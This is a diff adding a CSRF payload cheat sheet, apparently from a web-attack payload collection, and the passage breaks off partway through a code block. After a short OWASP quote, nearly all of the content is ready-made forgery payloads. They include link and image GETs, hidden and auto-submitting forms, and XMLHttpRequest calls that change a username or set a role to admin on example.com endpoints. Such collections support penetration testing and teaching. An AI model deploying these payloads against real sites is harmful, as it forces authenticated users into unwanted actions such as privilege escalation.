+# Cross-Site Request Forgery
+
+> Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

+
+## Payloads
+
+### HTML GET – Requiring User Interaction for Proof-of-Concept
+
+```html
+<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
+```
+
+### HTML GET (No User Interaction)
+
+```html
+<img src="http://www.example.com/api/setusername?username=CSRFd">
+```
+
+### HTML POST – Requiring User Interaction for Proof-of-Concept
+
+```html
+<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
+ <input name="username" type="hidden" value="CSRFd" />
+ <input type="submit" value="Submit Request" />
+</form>
+```
+
+### HTML POST (AutoSubmit – No User Interaction)
+
+```html
+<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
+ <input name="username" type="hidden" value="CSRFd" />
+ <input type="submit" value="Submit Request" />
+</form>
+ 
+<script>
+ document.getElementById("autosubmit").submit();
+</script>
+```
+
+
+### JSON GET – Simple Request
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("GET", "http://www.example.com/api/currentuser");
+xhr.send();
+</script>
+```
+
+### JSON POST – Simple Request
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://www.example.com/api/setrole");
+//application/json is not allowed in a simple request. text/plain is the default
+xhr.setRequestHeader("Content-Type", "text/plain");
+//You will probably want to also try one or both of these
+//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+//xhr.setRequestHeader("Content-Type", "multipart/form-data");
+xhr.send('{"role":admin}');
+</script>
+```
+
+### JSON POST – Complex Request
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://www.example.com/api/setrole");
